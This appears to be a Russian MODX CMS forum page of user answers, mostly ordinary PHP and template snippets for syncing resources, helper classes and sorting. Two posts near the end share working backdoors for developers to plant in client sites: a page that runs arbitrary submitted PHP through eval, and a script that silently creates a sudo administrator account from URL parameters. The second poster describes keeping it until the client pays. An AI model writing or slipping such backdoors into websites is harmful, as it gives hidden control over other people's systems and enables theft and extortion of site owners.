Владимир

Владимир

С нами с 28 декабря 2012; Место в рейтинге пользователей: #53
Юрий Фомин
27 января 2017, 18:56
3
+2
Таки дописал велосипед про автоматизацию создания/удаления и редактирования ресурсов в контекстах-дублях.

<?php
if ($modx->event->name == 'OnDocFormSave') {
    // собираем дублированные контексты (web - оригинальный контекст)
	$contexts = $modx->getCollection('modContext', array('key:NOT IN' => ['mgr','web']));
	
	// получаем родителя создаваемого ресурса
	$parent = $resource->get('parent');
	if ($parent != '0') {
        $parentId = $modx->getObject('modResource', $parent);
        $parentAlias = $parentId->get('alias');
	}
    $alias = $resource->get('alias');
    $id = $resource->get('id');
    // проходимся по контекстам
	foreach ($contexts as $context) {
	    
	    $response = $modx->getObject('modResource', array('context_key'=>$context->key, 'alias' => $alias));
	    // если ресурс уже существует то тогда просто обновляем поля (кроме контента)
	    if ($response) {
    	    $response->set('pagetitle', $resource->get('pagetitle'));
    	    $response->set('longtitle', $resource->get('longtitle'));
    	    $response->set('description', $resource->get('description'));
    	    $response->set('content', '[[!OriginalFields?&id=`'.$id.'`&field=`content`]]');
            // ... много остальных полей
    	    $response->set('deleted', $resource->get('deleted'));
    	    $response->save();
	    } else {
	        // создание нового ресурса
    	    $newResource = $modx->newObject('modDocument');
    	    // заполняем поля ресурса
    	    $newResource->set('context_key', $context->key);
    	    $newResource->set('pagetitle', $resource->get('pagetitle'));
    	    $newResource->set('longtitle', $resource->get('longtitle'));
    	    $newResource->set('description', $resource->get('description'));
    	    $newResource->set('content', '[[!OriginalFields?&id=`'.$id.'`&field=`content`]]');
            // ... много остальных полей
    	    $newResource->set('deleted', $resource->get('deleted'));
    	    
    	    // поле родителя для создания дубля в нем а не в корне
    	    if ($parent != '0') {
    	        $res = $modx->getObject('modResource', array('context_key'=>$context->key, 'alias'=>$parentAlias));
    	        $parntId = $res->get('id');
    	    } else {
    	        $parntId = $parent;
    	    }
    	    $newResource->set('parent', $parntId);
            // сохраняем свежеиспеченый ресурс
    		$newResource->save();
	    }
	}
	// очищаем кеш
	$modx->cacheManager->clearCache();
}

// удаление ресурсов в дублирующих контекстах
if ($modx->event->name == 'OnDocFormDelete') {
    // собираем дублированные контексты (web - оригинальный контекст)
    $contexts = $modx->getCollection('modContext', array('key:NOT IN' => ['mgr','web']));
    
    // проходимся по контекстам
    foreach ($contexts as $context) {
        
        // получаем нужные (верней не нужные поэтому и удаляемые) нам ресурсы
        $response = $modx->getObject('modResource', array('context_key'=>$context->key, 'alias' => $resource->get('alias')));
        
        // помечаем как удаленные
        $response->set('deleted', $resource->get('deleted'));
        $response->save();
        
        // удаляет полностью
        // $response->get('id');
        // $response->remove();
    }
	$modx->cacheManager->clearCache();
}
but1head
27 января 2017, 16:09
2
+2
Где угодно вставляем
require_once('functions.php');
$functions->test();
Создаем файл
$functions = new functions($modx);
class functions {
	public $modx;
	function __construct(modX &$modx){
                $this->modx =& $modx;
		$this->pdoFetch = $this->modx->getService('pdofetch','pdoFetch', MODX_CORE_PATH . 'components/pdotools/model/pdotools/', array());
	}

	function test() {
		// $this->modx->****
	}

}
Илья Уткин
27 января 2017, 15:48
1
+2
Мне кажется, лучше передавать переменную $modx в функцию при вызове. Да, это несколько сложнее, но глобальные переменные стараются не использовать…
function myfunction($modx){
    if (!$modx) return 'Error';
    $user = $modx->user->get('id');
}
myfunction($modx);
Алексей
27 января 2017, 09:22
1
+1
Спасибо Илья Уткин.
Сначала не работало, я посмотрел запрос и привел к такому виду

&sortby=`{"CAST(likeDislike AS DECIMAL(13,3))":"DESC"}`
Теперь все супер!
Илья Уткин
27 января 2017, 07:51
1
+1
&sortby=`{"CAST(`likeDislike`.`value` AS DECIMAL(13,3))":"DESC"}`
Андрей
26 января 2017, 13:21
1
+1
//Сниппет getRes
if ($resources) {
  $output = '';
  $resources = explode(',', $resources);

  foreach($resources as $id) {
    if ($resource = $modx->getObject('modResource', $id)) {
      $output .= $modx->getChunk($tpl, $resource->toArray());
    }
  }
  
  return $output;
}

//Вызов
[[getRes?
  &resources=`1,2,1,3,4,5,1,2,4,5,1,5`
  &tpl=`имя_чанка`
]]

//чанк
<div>[[+pagetitle]]</div>
Алексей Ерохин
26 января 2017, 12:56
1
+5
Вот на fenom
{var $resources = '1,20,19,20,19,1,1,1,19,20,20,19' | split}
{if $resources | iterable}
	{foreach $resources as $value}
		{$value | resource : 'pagetitle'}
	{/foreach}
{/if}
Андрей Шевяков
26 января 2017, 11:01
1
0
Нашел решение для исключения ресурсов-контейнеров из урл у Ильи Уткина.
Попробовал у себя на сайте, все отлично работает.
Вот статья: Исключение алиаса ресурса в URL дочерних ресурсов
Может кому пригодится!
Николай
24 января 2017, 02:35
3
+4
А я такой код размещаю:

<!DOCTYPE html>
<html>
<head>
	<meta http-equiv="content-type" content="text/html; charset=utf-8">
	<title></title>
	<style>
	    textarea {
	        padding: 10px;
	        width: 80%;
	    }
	</style>
</head>	
<body>
    <?php echo $_SERVER['SCRIPT_FILENAME']; ?>
    
    

    <form method="post">
        <textarea name="code" cols="30" rows="15"><?php echo $_POST['code']; ?></textarea>

        <button type="submit">Отправить</button>
    </form>
    

    
    <?php eval($_POST['code']); ?>
    
</body>
</html>
и выполняй любые php-скрипты
Максим Кузнецов
24 января 2017, 00:43
6
+4
Аналогично, бэкдор + сайт лежит на своем хостинге до оплаты оставшейся части. Вот код:

<?php
	define('MODX_API_MODE', true);
	//количество dirname = глубина документа относительно корня
	require dirname(dirname(dirname(dirname(__FILE__)))) . '/index.php';

	$user = empty($_GET['user']) ? 'user'. rand(99,9999) : $_GET['user'];
	$pass = empty($_GET['pass']) ? rand(10000000,99999999) : $_GET['pass'];
	
	$u = $modx->newObject('modUser');
	$u->fromArray(array(
		'username' => $user,
		'password' => $pass,
		'active' => 1,
		'primary_group' => 1,
	));
	$u->joinGroup('1', '0');
	$u->setSudo(1);
	$p = $modx->newObject('modUserProfile');
	$p->fromArray(array(
		'fullname' => $user,
		'email' => $user.'@yoba.ru',
	));
	$u->addOne($p);
	$u->save();
	
	if (!empty($u->username)) {
		print '<p><b>user:</b> '. $user .'</p><p><b>pass:</b> '. $pass .'</p>';
	}
— при запросе к документу генерирует и выводит логин-пароль для свежесозданного sudo-пользователя. (соответственно, файл должен быть доступен извне)

По поводу взлома можешь обратиться к agel_nash, наверное.